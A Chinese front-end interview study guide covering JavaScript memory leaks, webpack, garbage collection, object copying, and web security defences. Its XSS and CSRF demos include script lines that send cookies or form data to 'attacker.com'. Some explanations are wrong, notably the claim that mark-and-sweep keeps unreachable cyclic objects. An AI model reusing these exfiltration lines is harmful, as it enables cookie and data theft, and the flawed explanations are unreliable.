  • 移除存在绑定事件的DOM元素(IE)
  • setTimeout 的第一个参数使用字符串而非函数的话,会引发内存泄漏
  • 垃圾回收器定期扫描对象,并计算引用了每个对象的其他对象的数量。如果一个对象的引用数量为 0(没有其他对象引用过该对象),或对该对象的唯一引用是循环的,那么该对象的内存即可回收

1. 未使用 var 声明的全局变量:

function foo() {
  bar = 'global variable'; // 没有使用 var 声明
}
foo();

2. 闭包函数(Closures):

function outer() {
  var data = 'sensitive data';
  return function() {
    // 内部函数形成了闭包
    console.log(data);
  };
}
var inner = outer();
inner(); // 闭包引用了外部函数的变量,导致变量无法被释放
//如何进行变量释放
inner = null

3. 循环引用:

function createObjects() {
  var obj1 = {};
  var obj2 = {};
  obj1.ref = obj2;
  obj2.ref = obj1;
  // 对象之间形成循环引用,导致无法被垃圾回收
}
createObjects();

在早期的JavaScript引擎中,循环引用可能会导致内存泄漏,因为垃圾回收器可能无法正确处理这种相互引用的情况。然而,现代JavaScript引擎(如V8,SpiderMonkey等)使用的垃圾回收机制已经能够妥善处理循环引用。它们采用的算法(如标记-清除(Mark-and-Sweep)算法)在判断对象是否可回收时,不仅仅看对象间的引用是否存在,还会检查对象是否从根对象(例如全局对象)可达。只要对象从根对象开始不可达,无论它们之间如何相互引用,这些对象都会被认为是可回收的。

因此,在createObjects函数执行完毕后,obj1obj2没有任何外部引用(从全局作用域或其他根对象)指向它们,即使它们相互引用。这意味着它们对于垃圾回收器来说是不可达的,因此会被垃圾回收器回收,不会导致内存泄漏。

4. 控制台日志(console.log):

function processData(data) {
  console.log(data); // 控制台日志可能会引用数据,阻止垃圾回收
  // 处理数据的逻辑
}

5. 移除存在绑定事件的 DOM 元素(IE):

var element = document.getElementById('myElement');
element.onclick = function() {
  // 处理点击事件
};
// 移除元素时没有显式地解绑事件处理程序,可能导致内存泄漏(在 IE 浏览器中)
element.parentNode.removeChild(element);
//正确清理 避免内存泄漏
var element = document.getElementById('myElement'); // 设置事件处理器 
element.onclick = function() { // 处理点击事件 }; 

element.onclick = null; // 清除事件监听器 
(或者element.removeEventListener('click',handlerFunction); )

// 从DOM中移除元素 
element.parentNode.removeChild(element);

6. 使用字符串作为 setTimeout 的第一个参数:

setTimeout('console.log("timeout");', 1000);
// 使用字符串作为参数,会导致内存泄漏(不推荐)

14. XML和JSON的区别?

XML(可扩展标记语言)和JSON(JavaScript对象表示法)是两种常用的数据格式。它们被广泛用于Web开发中,特别是在客户端和服务器之间的数据交换中。

  1. 数据体积方面:
  • JSON相对于XML来说,数据的体积小,因为JSON使用了较简洁的语法,所以传输的速度更快。
  1. 数据交互方面:
  • JSON与JavaScript的交互更加方便,因为JSON数据可以直接被JavaScript解析和处理,无需额外的转换步骤。
  • XML需要使用DOM操作来解析和处理数据,相对而言更复杂一些。
  1. 数据描述方面:
  • XML对数据的描述性较强,它使用标签来标识数据的结构和含义,可以自定义标签名,使数据更具有可读性和可扩展性。
  • JSON的描述性较弱,它使用简洁的键值对表示数据,适合于简单的数据结构和传递。
  1. 传输速度方面:
  • JSON的解析速度要快于XML,因为JSON的语法更接近JavaScript对象的表示,JavaScript引擎能够更高效地解析JSON数据。

15. 谈谈你对webpack的看法

优点 :

  • 模块化支持:Webpack 提供了对 ES6 模块、CommonJS 和 AMD 模块的支持,使得管理项目的依赖更加方便和高效。
  • 灵活性和可配置性:通过其丰富的加载器(loader)和插件(plugin)系统,Webpack 可以处理各种类型的资源(如JS、CSS、图片和字体文件),并且几乎可以被配置来满足任何项目的需要。
  • 代码拆分:Webpack 的代码拆分功能允许将代码分割成多个包,可以按需加载或并行加载,极大地提高了应用程序的加载速度和性能。
  • 开发服务器:Webpack Dev Server 提供了一个简单的web服务器,和实时重新加载(live reloading)功能,极大地提升了开发效率。
  • 社区支持:由于其广泛的使用,Webpack 有一个非常活跃的社区,你可以很容易地找到大量的文档、教程和第三方插件。

缺点 :

  • 学习曲线:由于其强大的功能和灵活的配置选项,Webpack 的学习曲线相对较陡。对于新手来说,正确配置Webpack可能会感到困难和挑战。
  • 配置复杂性:对于复杂的项目,Webpack的配置可以变得非常庞大和复杂。这不仅增加了设置项目的初始难度,也可能在项目维护中造成困扰。
  • 构建速度:对于大型项目,Webpack的构建时间可能会比较长,尽管可以通过各种优化(比如缓存和多线程)来缓解这个问题。

16. 常见web安全及防护原理

1. 跨站脚本攻击 (XSS)

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点

  • 防护原理:

    • 对用户输入进行合适的转义和过滤
    • 使用安全的模板引擎或自动转义函数
    • 使用HTTP头部中的Content Security Policy (CSP)

示例代码:

// 对用户输入进行转义,将所有的`<`替换为`&lt;`以及将`>`替换为`&gt;`
function escapeHTML(input) {
  return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 使用安全的模板引擎
const template = Handlebars.compile('{{data}}');
const html = template({ data: userInput });

// 使用响应头Content Security Policy (CSP),只允许执行来自同一源('self')的脚本
res.setHeader('Content-Security-Policy', 'script-src 'self'');    

2. 跨站请求伪造 (CSRF)

  • 防护原理:

    • 使用CSRF Token进行验证
    • 验证请求来源
    • 验证HTTP Referer

示例代码:

// 使用CSRF Token进行验证
app.use((req, res, next) => {
  res.locals.csrfToken = generateCSRFToken();
  next();
});

// 验证请求来源(用来标识发起请求的源(即协议、域名和端口))
if (req.headers.origin !== 'https://example.com') {
  // 请求不是来自预期的来源,拒绝处理
}

// 验证HTTP Referer头(个字段表示用户是从哪个页面链接跳转过来的)
if (req.headers.referer !== 'https://example.com/') {
  // 请求不是来自预期的来源,拒绝处理
}    


XSS与CSRF有什么区别吗?

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种不同类型的安全威胁,其区别如下:

XSS(跨站脚本攻击):

  • 目标:获取用户的敏感信息、执行恶意代码。
  • 攻击方式:攻击者向受信任网站注入恶意脚本代码,使用户的浏览器执行该恶意脚本。
  • 攻击原理:XSS攻击利用了网页应用对用户输入的信任,通过注入恶意脚本代码,使其在用户的浏览器中执行。
  • 防护措施:对用户输入进行合适的转义和过滤,使用安全的模板引擎或自动转义函数,使用Content Security Policy(CSP)等。

CSRF(跨站请求伪造):

  • 目标:利用用户的身份完成恶意操作,而不是获取敏感信息。
  • 攻击方式:攻击者诱使用户在受信任网站的身份下执行恶意操作,利用用户在受信任网站上的身份发送恶意请求。
  • 攻击原理:CSRF攻击利用了网页应用对用户已认证身份的信任,通过伪造请求,利用用户的身份在受信任网站上执行恶意操作。
  • 防护措施:使用CSRF Token进行验证,验证请求来源、HTTP Referer头,双重提交Cookie验证等。

总结:

  • XSS攻击注重利用网页应用对用户输入的信任,目标是获取用户的敏感信息和执行恶意代码。
  • CSRF攻击注重利用网页应用对用户已认证身份的信任,目标是代替用户完成指定的动作。

请注意,为了有效地防止XSS和CSRF攻击,应采用综合的安全措施,并进行定期的安全审查和测试。

XSS攻击获取Cookie的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>XSS Attack Demo</title>
</head>
<body>
  <h1>XSS Attack Demo</h1>
  <div id="content"></div>
  <script src="payload.js"></script>
</body>
</html>

 
        @程序员poetry: 代码已经复制到剪贴板
    
// payload.js
const maliciousScript = `
  const xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/steal-cookie?cookie=' + document.cookie, true);
  xhr.send();
`;

document.getElementById('content').innerHTML = maliciousScript;    

在上述示例中,恶意脚本payload.js被注入到页面中。该脚本通过XMLHttpRequest发送GET请求,将页面中的Cookie信息发送给攻击者控制的服务器。

CSRF攻击的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>CSRF Attack Demo</title>
</head>
<body>
  <h1>CSRF Attack Demo</h1>
  <form id="transfer-form" action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="submit" value="Transfer">
  </form>
  <script src="payload.js"></script>
</body>
</html>   
// payload.js
const maliciousScript = `
  const form = document.getElementById('transfer-form');
  form.action = 'http://attacker.com/steal-data';
  form.submit();
`;

eval(maliciousScript);    

在上述示例中,恶意脚本payload.js被执行。该脚本修改了表单transfer-form的目标地址为攻击者控制的服务器,并提交表单。当用户点击"Transfer"按钮时,实际上会向攻击者服务器发送用户的敏感数据。

3. 会话劫持和会话固定

会话劫持: 攻击者通过某种方式(如监听网络连接、跨站脚本攻击(XSS)等)获取到会话ID,然后将其用于模拟用户的请求,从而绕过身份验证。

会话固定:会话固定攻击发生在用户登录之前,使用户的会话ID被固定为攻击者选择的值。如果用户在此固定的会话ID下登录,攻击者便可以使用该会话ID访问用户的账户。

  • 防护原理:

    • 使用安全的会话管理机制(如使用HTTPS、使用HTTP Only和Secure标志的Cookie)
    • 生成随机且复杂的会话ID
    • 定期更新会话ID

示例代码:

// 设置HTTP Only和Secure标志的会话Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });
(Set-Cookie: sessionId=38afes7a8; HttpOnly; Secure)

// 生成随机且复杂的会话ID
const sessionID = generateSessionID();

// 定期更新会话ID
setInterval(() => {
  // 生成新的会话ID
  const newSessionID = generateSessionID();
  // 更新会话ID
  req.sessionID = newSessionID;
}, 30 * 60 * 1000); // 30分钟更新一次会话ID

4. 不安全的重定向和跳转

  • 防护原理:
    • 对重定向URL进行白名单验证
    • 验证跳转请求的合法性
    • 使用HTTP Only和Secure标志的Cookie

示例代码:

// 对重定向URL进行白名单验证
const whitelist = ['https://example.com', 'https://example.net'];
if (whitelist.includes(redirectURL)) {
 res.redirect(redirectURL);
} else {
 // 非法的重定向URL,拒绝跳转
}

// 验证跳转请求的合法性
const referer = req.headers.referer;
if (referer && referer.startsWith('https://example.com')) {
 res.redirect(redirectURL);
} else {
 // 非法的跳转请求,拒绝跳转
}

// 使用HTTP Only和Secure标志的Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

17. 用过哪些设计模式?(针对vue回答)

1. 观察者模式(Observer Pattern)

Vue的响应式系统本质上就是观察者模式的一个应用。Vue会监视数据对象的属性变化,并在数据变化时通知视图进行更新。每个组件实例都可以被视为一个观察者,它们能够响应状态的变化。

1. JavaScript中的事件监听模型本质上就是观察者模式的应用。
开发者可以向目标元素添加事件监听器(观察者),当事件发生(主题对象状态改变)时,执行回调函数。
document.getElementById('myButton').addEventListener('click', function() {
  console.log('Button was clicked!');
});

2.Vue的响应式系统中,组件内部使用的`watch`、计算属性(computed properties)
或者模板中的数据绑定,充当"观察者"Observer)。
通过使用`Object.defineProperty`Vue 2.x)或`Proxy`Vue 3.x)API,
可以劫持对象的getter和setter操作,使Vue能够监听到数据的访问和变更。

2. 单例模式(Singleton Pattern)

在Vue项目中,Vuex用于状态管理的store就是单例模式的一个实例。整个应用中只有一个store实例,它包含了应用的所有状态,确保了状态的一致性。避免了实例的重复创建和资源的浪费,同时也方便了全局访问。

// Vuex中的Store是一个典型的单例
const store = new Vuex.Store({
  // 状态定义
});

3. 工厂模式(Factory Pattern)

简化对象创建过程,在运行时动态地决定创建哪个对象。当你需要根据不同条件创建不同的Vue组件实例或者是动态组件时,可以使用工厂模式。例如,基于用户的角色动态展示不同的视图或组件。

// 组件工厂示例
function componentFactory(type) {
  if (type === 'button') {
    return new ButtonComponent();
  } else if (type === 'text') {
    return new TextComponent();
  }
  // 更多条件...
}

4. 发布订阅模式(Pub/Sub)

这种模式允许不同组件之间进行通信,而无需直接相互引用。在这个模式中,发布者(publisher)不会直接发送消息给订阅者(subscriber)。相反,发布者产生消息后,由消息系统(通常是一个或多个中介或"主题")负责将消息传递给所有订阅了该消息的订阅者。 例如:。通过一个全局的事件总线或状态管理库(如Vuex, Redux),组件可以发布消息到特定主题,其他组件订阅这个主题来接收消息。

18. 同源限制

  • 同源策略指的是:协议,域名,端口相同,同源策略是一种安全协议
  • 举例说明:比如一个黑客程序,他利用Iframe把真正的银行登录页面嵌到他的页面上,当你使用真实的用户名,密码登录时,他的页面就可以通过Javascript读取到你的表单中input中的内容,这样用户名,密码就轻松到手了。

同源限制是为了保护用户的隐私和安全而存在的。它的主要目的是防止恶意网站利用客户端脚本对其他网站的信息进行读取和操作,从而避免信息泄露和恶意攻击。

同源策略通过限制来自不同源的网页之间的交互,确保只有同源的网页可以相互访问彼此的资源。同源策略要求协议、域名和端口必须完全相同才能实现同源。如果不满足同源条件,浏览器会禁止跨域请求和操作。

同源限制的作用包括但不限于:

  1. 防止跨站点脚本攻击(XSS) :同源限制可以防止恶意网站通过跨域脚本注入攻击来获取用户敏感信息或操作用户的账户。
  2. 防止跨站请求伪造(CSRF) :同源限制可以防止恶意网站伪造用户请求,以用户的身份执行非法操作。
  3. 保护用户隐私:同源限制可以防止其他网站通过跨域方式获取用户在当前网站的敏感信息。

同源限制通过浏览器的安全策略实现,确保在不同源的网页之间存在一定的隔离性,提高用户的安全性和隐私保护。但同时也给一些特定的跨域场景带来了限制,因此在需要跨域访问的情况下,可以使用跨域技术(如跨域资源共享CORS、JSONP等)来解决问题。

示例代码中提到的黑客程序利用了跨域嵌套iframe的方式,通过读取用户输入的信息来进行攻击。同源限制可以防止这种攻击,因为该黑客程序的域名与银行登录页面的域名不同,无法通过跨域访问获取用户输入的敏感信息。

19. offsetWidth/offsetHeight , clientWidth/clientHeight 与 scrollWidth/scrollHeight的区别

  • offsetWidth/offsetHeight:返回元素的宽度/高度,包括内容宽度、内边距和边框宽度。该值包含了元素的完整尺寸,包括隐藏的部分和滚动条占用的空间。
  • clientWidth/clientHeight:返回元素的可视区域宽度/高度,即内容区域加上内边距,但不包括滚动条的宽度。该值表示元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight:返回元素内容的实际宽度/高度,包括内容区域的尺寸以及溢出内容的尺寸。如果内容没有溢出,则与clientWidth/clientHeight的值相等。
<style>
  #box {
    width: 200px;
    height: 200px;
    padding: 20px;
    border: 2px solid black;
    overflow: scroll;
  }
  #content {
    width: 400px;
    height: 400px;
  }
</style>

<div id="box">
  <div id="content"></div>
</div>

<script>
  var box = document.getElementById('box');
  console.log('offsetWidth:', box.offsetWidth); // 244 (200 + 40 + 4)
  console.log('offsetHeight:', box.offsetHeight); // 244 (200 + 40 + 4)

  console.log('clientWidth:', box.clientWidth); // 225 假设滚动条宽15px,则200px+40px-15px滚动条
  console.log('clientHeight:', box.clientHeight); // 225 (200px+40px-15px)

  console.log('scrollWidth:', box.scrollWidth); // 400 (content的宽度)
  console.log('scrollHeight:', box.scrollHeight); // 400 (content的高度)
</script>

20. javascript有哪些方法定义对象(创建新对象)

1. 字面量表示法(Literal Notation):

使用对象字面量 {} 直接创建对象,并在其中定义属性和方法。

const person = {
  name: 'poetry',
  age: 30,
  sayHello: function() {
    console.log('Hello!');
  }
};

2. 构造函数:

使用构造函数创建对象,可以定义一个构造函数,然后使用 new 关键字实例化对象。

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.sayHello = function() {
    console.log('Hello!');
  };
}

const person = new Person('poetry', 30);

3. 原型(Prototype):

在 JavaScript 中,每个对象都有一个原型(prototype),可以通过原型链来继承属性和方法。

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello!');
};

const person = new Person('poetry', 30);

4. Object.create() 方法:

使用Object.create()方法创建一个新对象,并将指定的原型对象设置为新对象的原型。可以传入一个原型对象作为参数,也可以传入null作为参数来创建没有原型的对象。

const personPrototype = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.create(personPrototype);
person.name = 'poetry';
person.age = 30;

5. Object.assign() 方法:

使用 Object.assign() 方法可以将一个或多个源对象的属性复制到目标对象中,从而创建一个新对象。

const person1 = {
  name: 'poetry',
  age: 30
};

const person2 = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.assign({}, person1, person2);

6. class 关键字(ES6引入):

使用 class 关键字可以定义类,并通过 new 关键字实例化对象。

class Person {
 constructor(name, age) {
   this.name = name;
   this.age = age;
 }
 
 sayHello() {
   console.log('Hello!');
 }
}

const person = new Person('poetry', 30);

21.垃圾回收

一、什么是JavaScript垃圾回收机制

在JavaScript中,垃圾回收(Garbage Collection)是一种自动内存管理机制,它可以自动地识别不再使用的变量和对象并将它们从内存中清除,以释放内存空间。

JavaScript中的垃圾回收器会定期扫描内存中的对象,标记那些可达对象和不可达对象。

可达对象指的是当前代码中正在被使用的对象 不可达对象指的是已经不再被引用的对象。 垃圾回收器会将不可达对象标记为垃圾对象,并将它们从内存中清除。

JavaScript中的垃圾回收机制主要有两种:

标记清除(Mark-and-Sweep)和引用计数(Reference Counting)。 标记清除是JavaScript中主流的垃圾回收算法,而引用计数则已经很少被使用。

二、标记清除

标记清除(Mark-and-Sweep)的工作原理是:垃圾回收器会定期扫描内存中的对象,从根对象开始遍历内存中的所有对象,对于可达对象,通过标记它们来标识它们是可达对象;对于未被标记的对象,就说明它们是不可达对象,需要被清除。

该算法的优点是可以处理循环引用的情况,但在执行时间上可能会比较长,影响程序的性能。 例如,有一个对象A,其中包含一个指向对象B的引用,而对象B也包含一个指向对象A的引用。此时,如果我们不手动清除这两个对象,垃圾回收器就会通过标记清除算法自动识别这两个对象并清除它们。

实现标记清除(Mark-and-Sweep)算法的主要步骤如下:

  • 创建一个根对象,例如window对象;
  • 遍历根对象及其所有引用的对象,并标记它们是可达对象;
  • 遍历内存中所有对象,如果发现某个对象未被标记,就将其清除。

在JavaScript中,标记清除算法是由浏览器自动完成的,开发者无需手动实现。

三、引用计数

引用计数(Reference Counting)的工作原理是: 垃圾回收器会记录每个对象被引用的次数,当对象被引用的次数为0时,就将该对象清除。

该算法的优点是实现较为简单,但无法处理循环引用的情况,可能会导致内存泄漏。 例如,有一个对象A,其中包含一个指向对象B的引用,而对象B也包含一个指向对象A的引用。此时,由于对象A和B互相引用的次数不为0,垃圾回收器就无法清除这两个对象,导致内存泄漏。

实现引用计数(Reference Counting)算法的主要步骤如下:

  • 给每个对象添加一个引用计数器,初始值为0;
  • 当对象被引用时,引用计数器加1;
  • 当对象不再被引用时,引用计数器减1;
  • 当引用计数器为0时,就将该对象清除。

在JavaScript中,引用计数算法也是由浏览器自动完成的,开发者无需手动实现。不过需要注意的是,由于引用计数无法处理循环引用的情况,因此现代浏览器一般采用标记清除算法。

四、关于标记清除算法如何处理循环引用的情况

标记清除算法处理循环引用的情况是通过标记和清除两个阶段来完成的。

在标记阶段,垃圾回收器会从根对象开始遍历内存中的所有对象,标记所有可达对象,而对于不可达的对象,则不进行标记。

在清除阶段,垃圾回收器会清除所有未被标记的对象,从而释放它们占用的内存空间。 在处理循环引用的情况时,标记清除算法会通过特殊的标记方式来标记循环引用的对象。 具体来说,在标记阶段,垃圾回收器会将循环引用的对象标记为“可达”,并且在遍历过程中不会重复标记已经被标记过的对象。

在清除阶段,由于循环引用的对象被标记为“可达”,因此不会被清除,从而保证了循环引用的正确处理。 例如,有一个对象A,其中包含一个指向对象B的引用,而对象B也包含一个指向对象A的引用。在标记阶段,垃圾回收器会从根对象开始遍历内存中的所有对象,标记对象A和B为可达对象,并且标记它们是循环引用的对象。在清除阶段,由于对象A和B被标记为可达对象,因此不会被清除,从而保证了循环引用的正确处理。

22.深浅拷贝

1. 浅拷贝的原理和实现

自己创建一个新的对象,来接受你要重新复制或引用的对象值。如果对象属性是基本的数据类型,复制的就是基本类型的值给新对象;但如果属性是引用数据类型,复制的就是内存中的地址,如果其中一个对象改变了这个内存中的地址,肯定会影响到另一个对象

方法一:object.assign

object.assign是 ES6 中 object 的一个方法,该方法可以用于 JS 对象的合并等多个用途,其中一个用途就是可以进行浅拷贝。该方法的第一个参数是拷贝的目标对象,后面的参数是拷贝的来源对象(也可以是多个来源)。

object.assign 的语法为:Object.assign(target, ...sources)   

object.assign 的示例代码如下:

let target = {};
let source = { a: { b: 1 } };
Object.assign(target, source);
console.log(target); // { a: { b: 1 } };  

但是使用 object.assign 方法有几点需要注意

  • 它不会拷贝对象的继承属性;
  • 它不会拷贝对象的不可枚举的属性;
  • 可以拷贝 Symbol 类型的属性。
let obj1 = { a:{ b:1 }, sym:Symbol(1)}; 
Object.defineProperty(obj1, 'innumerable' ,{
    value:'不可枚举属性',
    enumerable:false
});
let obj2 = {};
Object.assign(obj2,obj1)
obj1.a.b = 2;
console.log('obj1',obj1);
console.log('obj2',obj2);   

从上面的样例代码中可以看到,利用 object.assign 也可以拷贝 Symbol 类型的对象,但是如果到了对象的第二层属性 obj1.a.b 这里的时候,前者值的改变也会影响后者的第二层属性的值,说明其中依旧存在着访问共同堆内存的问题,也就是说这种方法还不能进一步复制,而只是完成了浅拷贝的功能

方法二:扩展运算符方式

  • 我们也可以利用 JS 的扩展运算符,在构造对象的同时完成浅拷贝的功能。
  • 扩展运算符的语法为:let cloneObj = { ...obj };
/* 对象的拷贝 */
let obj = {a:1,b:{c:1}}
let obj2 = {...obj}
obj.a = 2
console.log(obj)  //{a:2,b:{c:1}} console.log(obj2); //{a:1,b:{c:1}}
obj.b.c = 2
console.log(obj)  //{a:2,b:{c:2}} console.log(obj2); //{a:1,b:{c:2}}
/* 数组的拷贝 */
let arr = [1, 2, 3];
let newArr = [...arr]; //跟arr.slice()是一样的效果   

扩展运算符 和 object.assign 有同样的缺陷,也就是实现的浅拷贝的功能差不多,但是如果属性都是基本类型的值,使用扩展运算符进行浅拷贝会更加方便

方法三:concat 拷贝数组

数组的 concat 方法其实也是浅拷贝,所以连接一个含有引用类型的数组时,需要注意修改原数组中的元素的属性,因为它会影响拷贝之后连接的数组。不过 concat 只能用于数组的浅拷贝,使用场景比较局限。代码如下所示。

let arr = [1, 2, 3];
let newArr = arr.concat();
newArr[1] = 100;
console.log(arr);  // [ 1, 2, 3 ]
console.log(newArr); // [ 1, 100, 3 ]

 
        @程序员poetry: 代码已经复制到剪贴板
    

方法四:slice 拷贝数组

slice 方法也比较有局限性,因为它仅仅针对数组类型slice方法会返回一个新的数组对象,这一对象由该方法的前两个参数来决定原数组截取的开始和结束时间,是不会影响和改变原始数组的。

slice 的语法为:arr.slice(begin, end);
let arr = [1, 2, {val: 4}];
let newArr = arr.slice();
newArr[2].val = 1000;
console.log(arr);  //[ 1, 2, { val: 1000 } ]    

从上面的代码中可以看出,这就是浅拷贝的限制所在了——它只能拷贝一层对象。如果存在对象的嵌套,那么浅拷贝将无能为力。因此深拷贝就是为了解决这个问题而生的,它能解决多层对象嵌套问题,彻底实现拷贝

手工实现一个浅拷贝

根据以上对浅拷贝的理解,如果让你自己实现一个浅拷贝,大致的思路分为两点:

  • 对基础类型做一个最基本的一个拷贝;
  • 对引用类型开辟一个新的存储,并且拷贝一层对象属性。
const shallowClone = (target) => {
  if (typeof target === 'object' && target !== null) {
    const cloneTarget = Array.isArray(target) ? []: {};
    for (let prop in target) {
      if (target.hasOwnProperty(prop)) {  
      //hasOwnProperty方法 是用来检测属性是否为对象的自有属性,如果是,返回true,否者false;
          cloneTarget[prop] = target[prop];
      }
    }
    return cloneTarget;
  } else {
    return target;
  }
}    

利用类型判断,针对引用类型的对象进行 for 循环遍历对象属性赋值给目标对象的属性,基本就可以手工实现一个浅拷贝的代码了

2. 深拷贝的原理和实现

浅拷贝只是创建了一个新的对象,复制了原有对象的基本类型的值,而引用数据类型只拷贝了一层属性,再深层的还是无法进行拷贝。深拷贝则不同,对于复杂引用数据类型,其在堆内存中完全开辟了一块内存地址,并将原有的对象完全复制过来存放。

这两个对象是相互独立、不受影响的,彻底实现了内存上的分离。总的来说,深拷贝的原理可以总结如下

将一个对象从内存中完整地拷贝出来一份给目标对象,并从堆内存中开辟一个全新的空间存放新对象,且新对象的修改并不会改变原对象,二者实现真正的分离。

方法一:乞丐版(JSON.stringify)

JSON.stringify() 是目前开发过程中最简单的深拷贝方法,其实就是把一个对象序列化成为 JSON 的字符串,并将对象里面的内容转换成字符串,最后再用 JSON.parse() 的方法将 JSON 字符串生成一个新的对象

let a = {
    age: 1,
    jobs: {
        first: 'FE'
    }
}
let b = JSON.parse(JSON.stringify(a))
a.jobs.first = 'native'
console.log(b.jobs.first) // FE   

但是该方法也是有局限性的

  • 会忽略 undefined
  • 会忽略 symbol
  • 不能序列化函数
  • 无法拷贝不可枚举的属性
  • 无法拷贝对象的原型链
  • 拷贝 RegExp 引用类型会变成空对象
  • 拷贝 Date 引用类型会变成字符串
  • 对象中含有 NaNInfinity 以及 -InfinityJSON 序列化的结果会变成 null
  • 不能解决循环引用的对象,即对象成环 (obj[key] = obj)。
function Obj() { 
  this.func = function () { alert(1) }; 
  this.obj = {a:1};
  this.arr = [1,2,3];
  this.und = undefined; 
  this.reg = /123/; 
  this.date = new Date(0); 
  this.NaN = NaN;
  this.infinity = Infinity;
  this.sym = Symbol(1);
} 
let obj1 = new Obj();
Object.defineProperty(obj1,'innumerable',{ 
  enumerable:false,
  value:'innumerable'
});
console.log('obj1',obj1);
let str = JSON.stringify(obj1);
let obj2 = JSON.parse(str);
console.log('obj2',obj2);   

使用 JSON.stringify 方法实现深拷贝对象,虽然到目前为止还有很多无法实现的功能,但是这种方法足以满足日常的开发需求,并且是最简单和快捷的。而对于其他的也要实现深拷贝的,比较麻烦的属性对应的数据类型,JSON.stringify 暂时还是无法满足的,那么就需要下面的几种方法了

方法二:基础版(手写递归实现)

下面是一个实现 deepClone 函数封装的例子,通过 for in 遍历传入参数的属性值,如果值是引用类型则再次递归调用该函数,如果是基础数据类型就直接复制

let obj1 = {
  a:{
    b:1
  }
}
function deepClone(obj) { 
  let cloneObj = {}
  for(let key in obj) {                 //遍历
    if(typeof obj[key] ==='object') { 
      cloneObj[key] = deepClone(obj[key])  //是对象就再次调用该函数递归
    } else {
      cloneObj[key] = obj[key]  //基本类型的话直接复制值
    }
  }
  return cloneObj
}
let obj2 = deepClone(obj1);
obj1.a.b = 2;
console.log(obj2);   //  {a:{b:1}}   

虽然利用递归能实现一个深拷贝,但是同上面的 JSON.stringify 一样,还是有一些问题没有完全解决,例如:

  • 这个深拷贝函数并不能复制不可枚举的属性以及 Symbol 类型;
  • 这种方法只是针对普通的引用类型的值做递归复制,而对于 Array、Date、RegExp、Error、Function 这样的引用类型并不能正确地拷贝;
  • 对象的属性里面成环,即循环引用没有解决

这种基础版本的写法也比较简单,可以应对大部分的应用情况。但是你在面试的过程中,如果只能写出这样的一个有缺陷的深拷贝方法,有可能不会通过。

所以为了“拯救”这些缺陷,下面我带你一起看看改进的版本,以便于你可以在面试种呈现出更好的深拷贝方法,赢得面试官的青睐。

方法三:改进版(改进后递归实现)

针对上面几个待解决问题,我先通过四点相关的理论告诉你分别应该怎么做。

  • 针对能够遍历对象的不可枚举属性以及 Symbol 类型,我们可以使用 Reflect.ownKeys 方法;
  • 当参数为 Date、RegExp 类型,则直接生成一个新的实例返回;
  • 利用 Object 的 getOwnPropertyDescriptors 方法可以获得对象的所有属性,以及对应的特性,顺便结合 Object.create 方法创建一个新对象,并继承传入原对象的原型链;
  • 利用 WeakMap 类型作为 Hash 表,因为 WeakMap 是弱引用类型,可以有效防止内存泄漏(你可以关注一下 Map 和 weakMap 的关键区别,这里要用 weakMap),作为检测循环引用很有帮助,如果存在循环,则引用直接返回 WeakMap 存储的值

如果你在考虑到循环引用的问题之后,还能用 WeakMap 来很好地解决,并且向面试官解释这样做的目的,那么你所展示的代码,以及你对问题思考的全面性,在面试官眼中应该算是合格的了

实现深拷贝

const isComplexDataType = obj => (typeof obj === 'object' || typeof obj === 'function') && (obj !== null)

const deepClone = function (obj, hash = new WeakMap()) {
  if (obj.constructor === Date) {
    return new Date(obj)       // 日期对象直接返回一个新的日期对象
  }
  
  if (obj.constructor === RegExp){
    return new RegExp(obj)     //正则对象直接返回一个新的正则对象
  }
  
  //如果循环引用了就用 weakMap 来解决
  if (hash.has(obj)) {
    return hash.get(obj)
  }
  let allDesc = Object.getOwnPropertyDescriptors(obj)

  //遍历传入参数所有键的特性
  let cloneObj = Object.create(Object.getPrototypeOf(obj), allDesc)

  // 把cloneObj原型复制到obj上
  hash.set(obj, cloneObj)

  for (let key of Reflect.ownKeys(obj)) { 
    cloneObj[key] = (isComplexDataType(obj[key]) && typeof obj[key] !== 'function') ? deepClone(obj[key], hash) : obj[key]
  }
  return cloneObj
}   
// 下面是验证代码
let obj = {
  num: 0,
  str: '',
  boolean: true,
  unf: undefined,
  nul: null,
  obj: { name: '我是一个对象', id: 1 },
  arr: [0, 1, 2],
  func: function () { console.log('我是一个函数') },
  date: new Date(0),
  reg: new RegExp('/我是一个正则/ig'),
  [Symbol('1')]: 1,
};
Object.defineProperty(obj, 'innumerable', {
  enumerable: false, value: '不可枚举属性' }
);
obj = Object.create(obj, Object.getOwnPropertyDescriptors(obj))
obj.loop = obj    // 设置loop成循环引用的属性
let cloneObj = deepClone(obj)
cloneObj.arr.push(4)
console.log('obj', obj)
console.log('cloneObj', cloneObj)   

我们看一下结果,cloneObj 在 obj 的基础上进行了一次深拷贝,cloneObj 里的 arr 数组进行了修改,并未影响到 obj.arr 的变化。